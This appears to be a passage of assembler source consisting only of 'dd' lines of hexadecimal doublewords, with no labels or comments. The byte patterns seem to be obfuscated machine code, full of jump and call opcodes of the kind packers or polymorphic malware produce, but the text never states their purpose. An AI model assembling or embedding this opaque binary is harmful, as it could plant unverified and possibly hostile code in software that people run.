		dd 75947854h, 5CA2C87Bh, 0E98061C9h, 2BB9669Dh,	662FB742h
		dd 8B6A96BFh, 0F28166F1h, 0E08144E4h, 660D0EC5h, 665323B7h
		dd 0E95BCA8Bh, 0Fh, 85AA7CD0h, 7244AE57h, 0AD435BD2h, 0FCBD5C56h
		dd 13E8h, 2B79E200h, 1E3DEF5Dh,	7FA9ECDAh, 62A4F9A2h, 0AA478B38h
		dd 0B830Fh, 5E80000h, 2D000000h, 8C49FE93h, 0BF665B5Bh
		dd 0E18AF8FCh, 208F0Fh,	66600000h, 1AFF781h, 14E9h, 0C5603C00h
		dd 0FD6AACBEh, 0D3A5B3D6h, 1B6BE8AEh, 96415DFDh, 0BE606107h
		dd 3F82D92Ah, 14E9h, 46B11000h,	51FDC756h, 749A87ACh, 50935FFBh
		dd 77204F1Ch, 95B16194h, 0E95FF780h, 10h, 0D9FA71B7h, 67F2BAB8h
		dd 0D9117BBCh, 4A9339E5h, 5E9h,	0E317D800h, 830F408Bh
		dd 5, 0A96AC9B8h, 0D2D9817Bh, 601E47EBh, 66D9BF0Fh, 61A2D7BEh
		dd 55B866F9h, 0E9C781B2h, 666871DEh, 8B66CE8Bh,	0A2C281FAh
		dd 666C758Ch, 0ED1CDA81h, 0D4CB8166h, 0FE969h, 78B10000h
		dd 52189F4Bh, 291C00Bh,	7665A709h, 11E890h, 0A25E0000h
		dd 38BB5662h, 6DD7FCCAh, 6AECED29h, 0BAD43DBDh,	1A5DAF41h
		dd 0C1BF0F58h, 4890F56h, 66000000h, 5F5A6FBEh, 0E8C78AF8h
		dd 0Ah,	781C4BB7h, 0CE1F288Ch, 665F9FC8h, 4335E381h, 0E9FFB70Fh
		dd 13h,	8A440664h, 0D017DA9h, 153E4D7Eh, 764FC208h, 0BE4F80BAh
		dd 73CBF223h, 0DE9h, 2C08FF00h,	96E20D3Dh, 0ACBC2AA2h
		dd 0B0606640h, 0EE938h,	0BB450000h, 0EB34A301h,	0FF56CE85h
		dd 0F9D2386h, 0AE96061h, 0
		dd 0D1F1BA01h, 0A8B3D4Ah, 2860F07h, 8A000000h, 11E861D0h
		dd 4F000000h, 0CA5BFB00h, 0CD2DDBDh, 1C9C4EF8h,	1961EADBh
		dd 0F5FCE8Bh, 158Fh, 0DE86000h,	0DC000000h, 0FEAFB719h
		dd 1664BE4Dh, 3971145Eh, 0BA66615Fh, 8166A1D7h,	0B657E7D7h
		dd 0F5D18BABh, 14E9F5h,	0BF9C0000h, 733CE014h, 7263BEB2h
		dd 2F17C4A7h, 0DC3476E1h, 606072C5h, 0EE8h, 4E1E8900h
		dd 61B60FAAh, 99ECAA2Dh, 59A8F051h, 61C88B66h, 0E9615950h
		dd 12h,	2F41543Dh, 481A606Bh, 0AADD8518h, 0C1712CBCh, 840FA173h
		dd 3, 81AFDB80h, 0C0C7A4D2h, 0BBF08B30h, 65089FC5h, 9E95A53h
		dd 27000000h, 7780D209h, 0F2F34674h, 5706DE80h,	0C8E0Fh
		dd 6E80000h, 0E000000h,	392F7F4Ch, 0B75F5925h, 13E9A9h
		dd 79CE0000h, 558855CFh, 29B9C5Bh, 45C334BBh, 0D01E934Dh
		dd 39B3FCA0h, 12E9h, 0CFC89E00h, 0DCEF76AAh, 97738FF6h
		dd 5B395D25h, 0B9F22A60h, 7D47DE6Dh, 6623C580h,	0F50843B8h
		dd 2850Fh, 53B10000h, 8BD7B70Fh, 0CF8B66DAh, 12E8h, 3CAD0100h
		dd 4A55610Eh, 0FAB7FE59h, 685A7BAFh, 0F4A1F84h,	184h, 605BF500h
		dd 61DED680h, 5E9h, 7AB1DC00h, 8056A42Ah, 0E85E54EBh, 12h
		dd 4E0A607Bh, 5A37651Eh, 51FB46ACh, 83F072E2h, 0EE9EB48h
		dd 34000000h, 233FDF19h, 0B9E30D24h, 0EA078AE2h, 0EE859D5h
		dd 6A000000h, 0AE9BC8h,	0C60A68E0h, 0AD716068h,	5B61606Ch
		dd 13E9h, 0F14C4800h, 0CCE47AD3h, 6AFE421Fh, 980A467h
		dd 3792C7B5h, 8B66EF8Ah, 6880FD1h, 0F000000h, 81h, 5800F00h
		dd 60000000h, 61C3BF0Fh, 266DA81h, 14E93E7Bh, 17000000h
		dd 748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 663AA3DFh
		dd 6BEFC081h, 12850Fh, 0DE90000h, 14000000h, 0EA5FBCABh
		dd 0B6AFBF1Dh, 0B4F73941h, 12E8h, 0B58A0800h, 0D50225FAh
		dd 788A6D3Eh, 0BF00AFAh, 0F92C12Eh, 38Ah, 0C18B6600h, 3AD68159h
		dd 0F26984Ch, 382h, 0D78B6600h,	0CF8B6657h, 0D3F7815Eh
		dd 661FDB03h, 0B022D7B8h, 10E935h, 0B7000000h, 455CFEDCh
		dd 60EBD100h, 0A07A079Ah, 8B66DC3Ah, 0BFE9BAD6h, 7E96A82h
		dd 26000000h, 1533FCC6h, 0DE8BDFABh, 57C28B66h,	9E9h, 4CE56A00h
		dd 1FE4AB1Ch, 535E5DEAh, 8058F98Ah, 0F60B8E9h, 0E861F8B7h
		dd 5, 0FE2A5430h, 51EE8182h, 5F6566A2h,	0F7BF0F60h, 8E9h
		dd 3B3BA600h, 867B7B3Eh, 0EA806197h, 0B8C0FE5h,	0F000000h
		dd 582h, 0EF816600h, 0B966C21Dh, 0E081C859h, 207EBE79h
		dd 28E0F60h, 8B000000h,	810FD0h, 61000000h, 0FDBBF0Fh
		dd 0B83h, 5840F00h, 66000000h, 132CCE81h, 8B0FF98Ah, 9
		dd 0BA616060h, 3A52C759h, 49BB6661h, 0D081664Fh, 0E8BF98E5h
		dd 8B007862h, 0F7D480F2h, 0F8E18166h, 3DC4807Eh, 66F18B66h
		dd 8166C38Bh, 0F523CFD9h, 68E0F53h, 81000000h, 4A7850EEh
		dd 8B665A09h, 8166F5F0h, 66BEF9DAh, 0F3E4DA81h,	0FE8h
		dd 63FE6D00h, 0DC440032h, 0D221BCB5h, 0E87B5528h, 9E8h
		dd 0ADE4A100h, 7C6623A1h, 0C88B0560h, 8B665858h, 0AC13BEF7h
		dd 11B9513Bh, 0F812E988h, 0A6CB8166h, 0B6BCBF4Fh, 840F4A48h
		dd 0Ch,	0F0816660h, 8166AF7Ah, 6134EFF2h, 66F8B70Fh, 8B66DA8Bh
		dd 56CC80F1h, 0E890Fh, 0F600000h, 86h, 890F00h,	61000000h
		dd 8A59F951h, 92D181EFh, 661DF888h, 821BE781h, 0B8E0Fh
		dd 6E90000h, 4D000000h,	958AE8F7h, 14800F4Dh, 0E9000000h
		dd 0Fh,	0FCEAFCCFh, 3C3B21F7h, 5FB17B1Ch, 81C6ECC9h, 7493CCD8h
		dd 0BE9604Fh, 0E3000000h, 0F81CCB48h, 707840FEh, 61F867C7h
		dd 48C0Fh, 0BB660000h, 0FB8BBBC3h, 11E8h, 0A1812700h, 839791EFh
		dd 0A2CF3061h, 4113F429h, 8B66FEECh, 10E958C8h,	0BE000000h
		dd 8678C61Ah, 0A2C92D46h, 0F3ACBDD3h, 667ABAF0h, 8171F3BBh
		dd 58323EC6h, 0D9816623h, 10E98CEEh, 4B000000h,	0BA893D10h
		dd 6D6A3C29h, 7456B53Eh, 0BB422C97h, 31993036h,	8A03C680h
		dd 0C68B66D9h, 0B70FDF8Bh, 0C9BF66D2h, 60CE8A85h, 0F0E78166h
		dd 0C98160F1h, 0A331193h, 8E9h,	79A4CE00h, 0A7ED9255h
		dd 66616109h, 60E9D9BAh, 1800FF8h, 0F8000000h, 0FE86061h
		dd 0D3000000h, 6357E075h, 0F05C5B15h, 0C02F104Dh, 860F2355h
		dd 0
		dd 0FE86158h, 0A000000h, 63DD9440h, 8AE67B9Bh, 0B99C4123h
		dd 81662535h, 58FE45CAh, 12E9h,	457AB00h, 82F49272h, 0E430309Ch
		dd 43A85E02h, 60C2A6E8h, 0C30FCE81h, 8B617AD9h,	663AB7C3h
		dd 0E9F5F78Bh, 13h, 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h
		dd 800E7C14h, 0EB8A26C4h, 810FEB8Ah, 3,	0E9F98B66h, 5
		dd 0E0C321AFh, 0E1816695h, 8E0F42FFh, 4, 75E8BE66h, 0E8FA8B66h
		dd 10h,	0B68F13BAh, 46AA7FE1h, 2F36C259h, 8FBF3DD6h, 128D0Fh
		dd 0CE80000h, 0A9000000h, 0C1E35500h, 6F2B636Dh, 5AB4530Ah
		dd 55D8805Ah, 71BE66FCh, 3FB3F506h, 0CE8h, 0AB1EDC00h
		dd 76150AEh, 0E0D4CC4Bh, 0DE9FCh, 0D9C30000h, 9785EA17h
		dd 76B05057h, 5F893575h, 4D6AB966h, 0AE8h, 174FE900h, 0BE5CE910h
		dd 66379765h, 665AD08Bh, 0F08AE781h, 8E8h, 77519600h, 252DEA8Fh
		dd 27F9BF7Bh, 0F597E15h, 584h, 0C579BA00h, 0EE87716h, 0BA000000h
		dd 28853519h, 0C5C9F65Eh, 3F75201Dh, 0F1816679h, 0E9596155h
		dd 12h,	0CC798D73h, 47699FE2h, 0BCA9EB68h, 6CD588D5h, 0CE91560h
		dd 34000000h, 70A0900Fh, 0B5D6D79Fh, 0F5E9FBFEh, 5E77B866h
		dd 6611D880h, 665DD981h, 0FE9h,	0CB96FD00h, 0B01EF392h
		dd 9163B314h, 0F03C4A3h, 669BC180h, 2886E881h, 38E0Fh
		dd 0DD800000h, 666051F7h, 0E6B6D78Bh, 8B665A61h, 37BA66C8h
		dd 2880F49h, 8B000000h,	5800FD0h, 66000000h, 4154CF81h
		dd 58C0Fh, 81660000h, 668387C1h, 0BF0FC28Bh, 0FE9F7h, 2A960000h
		dd 9EE147E8h, 0F487F664h, 28A8CDE1h, 3CBE66ABh,	7E9A7h
		dd 0AB560000h, 0ECFB13A6h, 54B866D8h, 68D0FD3h,	81000000h
		dd 82C5A2E9h, 3860F28h,	80000000h, 820F5BE1h, 5, 0F4D28166h
		dd 0CF8160C1h, 3226FFAh, 6661C28Bh, 0E248E681h,	69BE66h
		dd 9E9F9h, 16150000h, 811A8BADh, 609BED5Eh, 13E960h, 3DC90000h
		dd 19721548h, 3EF43FDh,	55E08388h, 1280C743h, 61F38BFBh
		dd 61DE8B66h, 0A7B7D3BFh, 58F9571Fh, 0C810Fh, 7E90000h
		dd 0A2000000h, 554B9EDEh, 0B460163Ch, 61C68B14h, 13840Fh
		dd 0EE90000h, 0C000000h, 0A686D859h, 0BBDBFB80h, 7CA3494Fh
		dd 0A104B80Fh, 816645C8h, 0FCDDEFC3h, 6E9h, 1D9ED800h
		dd 0E940C24Bh, 7, 0A886A21Ah, 0FDD4E9Bh, 889h, 8A0F6000h
		dd 0
		dd 0C18B6661h, 0BF0FF78Bh, 3850FF9h, 0F000000h,	0BE8D0BFh
		dd 0F5000000h, 0CDA2CB06h, 9A6D4E6Bh, 5E8B9C2h,	0B0000000h
		dd 57673366h, 5E9h, 49997400h, 5A5EB485h, 0FD78B66h, 1B86h
		dd 8E800h, 8CD30000h, 598B1A35h, 8E916DDh, 13000000h, 5C8487C6h
		dd 58BD10CBh, 8BC88B66h, 2EDEBAC8h, 0FE83D8Fh, 8A000000h
		dd 0D02926DFh, 21761405h, 4A19404h, 0B70FD714h,	0BE859FEh
		dd 8F000000h, 5D259773h, 2A605B39h, 0E68077F2h,	0EE85FB8h
		dd 2D000000h, 1ADF0E52h, 0C7587ADh, 629A0D65h, 0FBBF0F1Eh
		dd 0F08B665Bh, 6DFCF081h, 6E966A7h, 0EF000000h,	71D3B6E1h
		dd 35D2813Eh, 0E97A7D5Dh, 0Dh, 97565687h, 1261552Eh, 0B1B73BD2h
		dd 0B70F5143h, 880F5FC2h, 4, 0C644BF66h, 0DACABF66h, 8E39B866h
		dd 6649B4F8h, 662D04B8h, 8A0FF78Bh, 4, 0B529BA66h, 0F5E1D780h
		dd 0BE8h, 7A730400h, 750A2184h,	850BFD91h, 0DE9h, 93BABB00h
		dd 0DE9B58DDh, 5E847995h, 805BB0FAh, 0BE87AD3h,	80000000h
		dd 4FBBDBFBh, 0F7CA349h, 0DE81B2E8h, 4E5B1582h,	17880F5Eh
		dd 60000000h, 850Fh, 0AE90000h,	9D000000h, 0CE3BAB11h
		dd 7B4D3DECh, 8F0F61A0h, 1Bh, 12E8h, 4AECCD00h,	0CFB416CAh
		dd 0A8A756E6h, 0A9FAD22h, 669B0CE3h, 665BCA8Bh,	1953C381h
		dd 0A198B966h, 0B866F18Bh, 0E95057A0h, 14h, 53BA7BCFh
		dd 1520FD24h, 79899A9Ah, 99358500h, 0DE69B4A8h,	38A0F5Fh
		dd 66000000h, 0B966F88Bh, 0C28BA6D5h, 1459CB81h, 0CA8B396Ch
		dd 88BFF58Ah, 812CEA5Eh, 66E5BE8h, 0DA816658h, 0BF0F3B73h
		dd 3850FF3h, 0F000000h,	5DB8C6BFh, 8A0CA218h, 4870FF9h
		dd 66000000h, 52E6ACBAh, 0AB47BA66h, 0C6B70F58h, 8E8h
		dd 9510B300h, 0CD0BA59Bh, 77A3BF3Ah, 0BA5B6840h, 4ABEFA74h
		dd 850F60F8h, 1Ah, 14E8h, 0B7B79100h, 85A5158Dh, 222462D8h
		dd 33F04211h, 87B378C9h, 0BE665B2Bh, 0E8617E07h, 8, 6832FB29h
		dd 0CCD29D2Ch, 816659F9h, 66ED06DFh, 660170BEh,	860FF98Bh
		dd 6, 850Fh, 7E90000h, 57000000h, 4BA031D5h, 9E8ECE7h
		dd 34000000h, 0DB87A39Ah, 0CED4C2D7h, 48C0Fh, 0BF660000h
		dd 815F6CFCh, 611DF7CBh, 0FE97Eh, 1A1A0000h, 0EC71F15Ah
		dd 0B11F510Eh, 0AAB1AC3Bh, 0BF05BF78h, 81662AB2h, 0F537FD8h
		dd 381h, 0F8BF0F00h, 3225B966h,	0FC8BF0Fh, 8B66FBBFh, 8B6660C7h
		dd 28A0FF3h, 51000000h,	0B70F6158h, 4880FDAh, 66000000h
		dd 0F9DC3BAh, 0A82h, 5E900h, 45270000h,	0B76D5479h, 66C18BE4h
		dd 34E8D281h, 5E8h, 3D11D700h, 8B6653C0h, 15B65EC1h, 60D52EB9h
		dd 0F1805205h, 12E95E09h, 4F000000h, 0B14D43BBh, 0E50E9879h
		dd 0C459F0A8h, 1F07F551h, 6E9D7h, 0D4310000h, 7B34B337h
		dd 0F5C1BF66h, 3D261ABFh, 850F6046h, 14h, 0FE9h, 23C0100h
		dd 0F59D6146h, 244C2DDBh, 0B112C6E4h, 0AAC6F3BEh, 11E86115h
		dd 3D000000h, 2F41543Dh, 481A606Bh, 0AADD8518h,	0C1712CBCh
		dd 0A97A41B9h, 81665A09h, 66A442E2h, 0E84124BEh, 7, 0A9875146h
		dd 5ED82E70h, 318BE781h, 8E0F1B75h, 0
		dd 0B22CE81h, 0B70F3098h, 69BA56F6h, 582D7DDFh,	0BE9h
		dd 0EC61E700h, 0ED1B7B1Eh, 0B5CA63D6h, 8820Fh, 8D0F0000h
		dd 2, 0E9605F51h, 13h, 49742016h, 7151086Ah, 8FDDC84Ch
		dd 0B1F8BD0h, 669D635Fh, 1154E181h, 0FDAEB961h,	0FF51A69h
		dd 0BB66D0B7h, 5652F779h, 11E9h, 0B383C900h, 0D1EA2B20h
		dd 0D7A44CADh, 0FE752945h, 585B40BBh, 0F7816652h, 0E9589264h
		dd 0Dh,	103A9CACh, 35166DB2h, 3AFE92ECh, 0D381508Ah, 13BE6AFh
		dd 0C6B70F5Ah, 7E9h, 7B1D8E00h,	515947D0h, 12C98166h, 0F88B6639h
		dd 0BE9h, 5C881600h, 5C2F9C2Fh,	903DE104h, 10E9h, 787F3F00h
		dd 8FBB1B19h, 0A921556Eh, 0C8BA6E5Ah, 78F0F4Bh,	56000000h
		dd 0F3B4D1B9h, 0D8B65825h, 28D0Fh, 0A4B00000h, 88CA8166h
		dd 75BA663Ch, 0FBB70FB7h, 0FFB8B66h, 0FBB6FAB7h, 7E9h
		dd 0FFDB6F00h, 69DADDB5h, 0FEC68166h, 0F181667Ah, 870FFF32h
		dd 5, 964520B8h, 6179BB52h, 7E84A65h, 5B000000h, 0A42196A3h
		dd 8166A0CAh, 5B193EE1h, 14E94FB6h, 0A9000000h,	81C29228h
		dd 7985EC36h, 25198A14h, 0C2B03CAFh, 0E8B0CC67h, 11h, 2B052199h
		dd 73EABD59h, 0CC9D0E80h, 6F6C4AC6h, 860F85h, 59000000h
		dd 5870Fh, 17BF0000h, 812CA1E3h, 6B3BA3E6h, 5F0ABE54h
		dd 10E90843h, 0F5000000h, 0E9548529h, 46320148h, 483FFE11h
		dd 8BF63807h, 0D5D681FEh, 0F15083Bh, 486h, 0C1BB6600h
		dd 0BE991h, 4C880000h, 942BCAB1h, 0A46258DEh, 13E81Dh
		dd 39CE0000h, 0C75E1BB6h, 571BB5B5h, 4A4F6674h,	0FA0C142Bh
		dd 850F5E36h, 0Ah, 800F60h, 60000000h, 9E86161h, 0E8000000h
		dd 3FB310A1h, 411276D7h, 5E616053h, 0C0BF0F58h,	10E9h
		dd 18E87500h, 1E1F7825h, 372B4B04h, 176883D0h, 4ABEF5B3h
		dd 0E87F7DB3h, 14h, 1A320D8Dh, 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh
		dd 0A22A3056h, 0E1A6B966h, 0AE85Bh, 17970000h, 0DCC0E028h
		dd 5513411h, 38F0Fh, 0BF0F0000h, 0DE815EF1h, 30B6961Fh
		dd 0DF8B66F5h, 7DE89BBEh, 96BB6607h, 46B96628h,	2162B875h
		dd 40B378FBh, 86DB8166h, 9F58026h, 66CB8B66h, 662A67B8h
		dd 3587F181h, 57EE8166h, 0DE8C3h, 0C9F00000h, 0BF15DF0Fh
		dd 17C28017h, 0FF442ADh, 0F59F1BFh, 586h, 0D1816600h, 8D0FFA76h
		dd 0
		dd 8166C88Ah, 0E8B310E7h, 0Ah, 36177588h, 0F8A0882Ah, 0F381AA02h
		dd 150BBBABh, 13E858h, 7C30000h, 57C3FECDh, 8AE9764Ch
		dd 0FD6DC3DCh, 0A89FDB4Fh, 0D60EBA0Ah, 66592106h, 668B0AB9h
		dd 68BEC38Bh, 606C08AFh, 6661F98Bh, 0B8F5E281h,	0C7CB8166h
		dd 0C38B66A3h, 66CF8B66h, 0C7EBEA81h, 0F0A7EE81h, 0E9565570h
		dd 9, 159B656Ah, 673768A3h, 8A0F5E6Bh, 7, 1880Fh, 81F50000h
		dd 0A86E8AD7h, 66D98B66h, 4499C881h, 66FAD580h,	51813ABEh
		dd 5ED1B70Fh, 0E4C5F181h, 0F08040F2h, 3FB966E4h, 0BE96Ch
		dd 6A580000h, 33C63771h, 0FC164247h, 0DE96063h,	6D000000h
		dd 1229A894h, 0DD428C2Ah, 0CE9C8071h, 0AE961h, 0FBA10000h
		dd 0DD25170Ah, 0E12A390Ah, 0DE9F9h, 0C71C0000h,	0F01F0A13h
		dd 48ED0D36h, 66FE2825h, 0BE6302BEh, 0C4BEDAAh,	66C18B66h
		dd 52E366BEh, 810F60h, 0E8000000h, 0Ah,	1E472F6Dh, 495640BCh
		dd 615E5494h, 51CE8B5Fh, 0A810F58h, 0F000000h, 48Bh, 0AFB96600h
		dd 11E953B0h, 0CD000000h, 0C28BF5h, 0E0E601B4h,	0DD91559Eh
		dd 0C310915Eh, 0BA665158h, 0F5F3153h, 81F9D7B7h, 5288A2D2h
		dd 2AD1810Bh, 0E95B6B18h, 0Eh, 0ACDEC0D2h, 0C28D120Ah
		dd 0B38F3662h, 81664B0Ch, 0E91005C2h, 11h, 0B79B4FBDh
		dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 850F56BCh, 3, 59F9BF0Fh
		dd 0AA0DDEB9h, 0E9C68B5Ch, 9, 0A873F2EEh, 83EA6D9Eh, 9E88Ah
		dd 3F900000h, 7EE086AAh, 66C85FAAh, 0BA5EC88Bh,	5BB646D0h
		dd 0E8804CB2h, 0E9F08B3Ah, 0Dh,	8E11369Ch, 7E618912h, 0DC358639h
		dd 0E4E18174h, 664A1827h, 0B866CE8Bh, 860F7831h, 1, 14E9F9h
		dd 0E82D0000h, 9F7580E0h, 0A3636582h, 1309F69Eh, 0FF5BAE04h
		dd 0BFB18B35h, 5E9h, 30C95B00h,	81660A67h, 666952C2h, 4DF7C881h
		dd 6699DB80h, 0DA6ED181h, 27BFDA8Bh, 52437F4Dh,	13E8h
		dd 98B66400h, 0B4D0B2E5h, 4ECC8551h, 0D703CC48h, 0DDEB4C5Ah
		dd 8B0Fh, 585B0000h, 0FF98B66h,	0FE9D3BFh, 0E6000000h
		dd 64D2658Bh, 11AD14EAh, 0F58619Bh, 8B66E9F4h, 0CE8D7h
		dd 80280000h, 92C2DDEDh, 2B3DAA64h, 5E96FB1h, 85000000h
		dd 0A520ED15h, 5810F59h, 0B8000000h, 514E1CF9h,	0FE8h
		dd 1D483500h, 4D3FE9C5h, 96DF3A75h, 1D1BCB85h, 0F0BF0F5Bh
		dd 36FEBA66h, 0B5D68166h, 0AE969h, 92C70000h, 70C3B137h
		dd 0B1022938h, 0F5D08B66h, 0FD08B66h, 48Eh, 5E505100h
		dd 0D98B6659h, 7E8h, 0FF689B00h, 0FE6CCBF8h, 0ED3DBF5Ah
		dd 0B96605A7h, 0BF66AF56h, 7E98FF3h, 0B6000000h, 8849124Eh
		dd 0C6808599h, 66C58A34h, 4BAEF781h, 52D78166h,	0F0B96615h
		dd 0E9606051h, 13h, 0CA3D8313h,	38156E4Fh, 71E4B594h, 0E95F1169h
		dd 0E85192D1h, 0Eh, 6875CBBFh, 0AFBE4649h, 9E73687Fh, 615AA4C6h
		dd 1C31BE60h, 820F44A3h, 0
		dd 0CA816161h, 5D48A2C6h, 8166D78Bh, 8B27D1DEh,	62DD80F3h
		dd 8DD78166h, 5E919h, 3F1C0000h, 0F54A4446h, 0EE8166F9h
		dd 0B966A056h, 0E860BAC9h, 9, 976ACE91h, 668D8ED2h, 59616036h
		dd 0DE861h, 0DB410000h,	0A7C8E699h, 32943FFAh, 0E815FF7Bh
		dd 6, 0E555CA03h, 0F8B1F0EDh, 0F605B5Eh, 38Dh, 8FEA8000h
		dd 0E961F78Ah, 0Dh, 22C2CDA3h, 675FEF8Fh, 0E68C8EC3h, 6E9C5h
		dd 66460000h, 82277779h, 810Fh,	0E18A0000h, 0E9C18166h
		dd 0F8BA50F2h, 5E757B7Ch, 73C081F8h, 8B4B1DCEh,	0A2EE81D7h
		dd 0E96DD509h, 7, 0ED3F4923h, 81AC68B2h, 64439EEEh, 0AE9F800h
		dd 38000000h, 17B8ACD4h, 48F9FEC3h, 0C8BF0F31h,	13E8h
		dd 4F4DC900h, 504BDB2Bh, 0C4BC784h, 0E13D7863h,	73436134h
		dd 0FCF68166h, 8A0F5E8Ah, 0Ch, 6870Fh, 0E7810000h, 3AB92729h
		dd 0F89AE181h, 0FE97632h, 61000000h, 0C6FF9689h, 0D2F4E2CBh
		dd 6F46289Dh, 9E9B33Fh,	96000000h, 0A968D51Ch, 5759B5E3h
		dd 535FC181h, 0BE86B3Dh, 92000000h, 0B6B59EC0h,	0B72C9A4Fh
		dd 665A7B68h, 820FF08Bh, 9, 38D0Fh, 0B70F0000h,	48D0FFFh
		dd 66000000h, 66EBEABEh, 8B66C38Bh, 860FF9D1h, 3, 6696D480h
		dd 8DB1E881h, 0C900BE66h, 5060DD80h, 0AE9h, 26CE9500h
		dd 0E9958EEAh, 5B21432Fh, 0FD2B70Fh, 285h, 667DB400h, 66CE84BAh
		dd 0E9CD3BBBh, 0Eh, 901ED3D5h, 70F916D9h, 72C18E5Eh, 8A607D2Dh
		dd 40F080F1h, 0F9BF0F61h, 0D7FDD281h, 0EE8060Fh, 0C8000000h
		dd 78E59EB0h, 40A765Fh,	57CEB407h, 0BB6660B1h, 616005C1h
		dd 6AB75E61h, 0E2FABA66h, 7DACB866h, 12E9h, 23744200h
		dd 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh, 660FC175h, 4255D181h
		dd 810F60F8h, 2, 13E95F50h, 2E000000h, 0E476118Eh, 90ADAD38h
		dd 5684B1BEh, 316A98A5h, 0E96188AFh, 12h, 0F85E52DDh, 926708A0h
		dd 0ACBA8A97h, 0A692826h, 8166790Dh, 6606C8C9h,	8057C68Bh
		dd 0BB5973F4h, 5C53D58Dh, 0BE9F8h, 40400000h, 2EC2A1AAh
		dd 30C15CDAh, 138B0FEFh, 60000000h, 0E9D7BF0Fh,	9, 0F77B6ADAh
		dd 0ACF015D6h, 840F6114h, 5, 1BC18166h,	13E8BDh, 4730000h
		dd 99BA590Eh, 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 0D0BF0F02h
		dd 53C68B58h, 53CEC281h, 525E19C3h, 5BDBB70Fh, 0C12D63BBh
		dd 0F8BF0F6Ah, 12E8h, 3176A400h, 23151B83h, 51EAABBAh
		dd 8AF26F63h, 669866B7h, 0D5E081h, 0F8B5F859h, 91D7C681h
		dd 61BB5BA8h, 0E929876Fh, 0Ch, 25E4D9DEh, 844AEECCh, 0E53AFBF1h
		dd 0FF3BF0Fh, 0D80h, 0E6816000h, 5BAF8AEBh, 0DDA8166h
		dd 0ACB561E1h, 0FFE8B66h, 66F5F6B7h, 0F0D46B9h,	28Bh, 60C38B00h
		dd 0E840Fh, 9E90000h, 0C0000000h, 69B8FE20h, 335989BAh
		dd 61DE8B66h, 6E9h, 0AF6EC900h,	66520E6Fh, 880FF78Bh, 3
		dd 0F59E380h, 5852F0B7h, 47B4DA8Bh, 66F5FE8Ah, 0B4B7F88Bh
		dd 48C0Fh, 0B9660000h, 80579110h, 805E14E7h, 0B70F96E4h
		dd 0EE8C8h, 98E10000h, 1BEC0C26h, 0BF76FA4Ch, 0A74F794Eh
		dd 5FDBB70Fh, 9E9h, 0E1A13B00h,	7ACF98F0h, 0D08BF1D8h
		dd 9860Fh, 8B0F0000h, 3, 0E8CF8B66h, 9,	0C370B4A1h, 0ECC70F21h
		dd 2810F04h, 8A000000h,	8E859CBh, 0D0000000h, 80FE38BFh
		dd 600182E3h, 0E128E081h, 0BF0F4F51h, 0B85A61CAh, 526A3C7Dh
		dd 0F681DD8Ah, 6D060BBh, 5850Fh, 7EBF0000h, 0B47FD0F8h
		dd 0AE9FBh, 993F0000h, 0C8C7CB2h, 76B3B9F2h, 0F9599BAh
		dd 138F0F76h, 0E9000000h, 0Eh, 0A8F978Dh, 193DA073h, 0FCB51C76h
		dd 8F0FF288h, 19h, 0DE8h, 0B03EEE00h, 37AE68F4h, 44A154DDh
		dd 810F342Fh, 0
		dd 50F6815Ah, 0F4E622Ah, 8B66CBBFh, 0B70F60C7h,	0E68166C9h
		dd 666192A7h, 0E8DC9DB8h, 6, 0C69C38CDh, 870FBE1Ah, 6
		dd 850Fh, 665B0000h, 0E1ECC081h, 8B66C28Bh, 0DE9DFh, 0BD040000h
		dd 0FCCB6827h, 0F848FAC6h, 80D0B01Ah, 8F0F66C7h, 1, 0E881FCF8h
		dd 260E2404h, 58D0Fh, 81660000h, 0E9D7C7DEh, 0Ch, 0E46196Dh
		dd 0B5BACD8Bh, 0B1B1752Ah, 198F0FFCh, 0E9000000h, 14h
		dd 23512A09h, 62E0BA56h, 0BA4109Ch, 1CD28DA2h, 0CED4931h
		dd 5187E781h, 8D0F208Fh, 4, 5E5E5151h, 11E8h, 89149600h
		dd 9EFE0E23h, 0B7F3016Bh, 8217A159h, 0BF0F0D2Dh, 805158C6h
		dd 0F55A98CCh, 0E840Fh,	8E80000h, 0D8000000h, 0E88350E0h
		dd 5BA1A9E6h, 8B0FFC60h, 3, 61C18B66h, 0F60B4F8h, 38Fh
		dd 0C1BF0F00h, 2800Fh, 0DA8A0000h, 76CBD081h, 6B60FF6h
		dd 0B70F5A53h, 0B8CE8BF8h, 32382194h, 0EE4CC5B9h, 0E957F976h
		dd 7, 6B628975h, 5F6A5C55h, 0F6DF480h, 68Dh, 80EB8100h
		dd 0F53FA91Fh, 0B7B45E53h, 0C38B6651h, 0D18B665Ah, 4DCB8166h
		dd 66F18B0Eh, 81FCCE8Bh, 59159D7h, 0FE91Dh, 884A0000h
		dd 64152240h, 4A7B3FE7h, 0CF87878Fh, 2830F93h, 8A000000h
		dd 0D6B70FEAh, 290FBB66h, 0FFA8B66h, 8Ah, 198E0F00h, 0E8000000h
		dd 0Fh,	1FCE6CBBh, 53198014h, 268A80Dh,	66EAF4BAh, 5BB5DAB8h
		dd 8BD6BF0Fh, 8157F8CFh, 0E4D7C7EFh, 81665F58h,	53678ADEh
		dd 0BE8h, 0F5105300h, 8E779A70h, 808F0D98h, 59C78B66h
		dd 6E959h, 77C00000h, 9095AF34h, 0B265E181h, 0E96010B4h
		dd 14h,	207635C0h, 4650FD94h, 46196DC7h, 0BACD8B0Eh, 0B1752AB5h
		dd 61F8B70Fh, 5E8h, 0F5C8F400h,	5EF8A818h, 0D6F6D681h
		dd 0E8530FDFh, 0Eh, 9200F079h, 16A8DBAAh, 0B37AA0BAh, 7FB60089h
		dd 8E95E58h, 0C6000000h, 14166A77h, 8132D109h, 0B8A735E2h
		dd 0FFD8A1Ch, 8B53F9BFh, 816659FAh, 0B8F567C0h,	4BB6A380h
		dd 7E9h, 95A8200h, 0D91F29EFh, 6680DA80h, 80CDE9BFh, 66607FE7h
		dd 0F6A8E981h, 9E86061h, 0A1000000h, 87342F44h,	6E785ED2h
		dd 58CABF0Fh, 0FE960h, 0F0EF0000h, 0A7D421E6h, 0C25AD506h
		dd 8DE84F9h, 60616145h,	0D296BA66h, 611AE180h, 6D7FDE81h
		dd 66606F94h, 0AA1DD981h, 0D8816660h, 5950B4D3h, 12E86161h
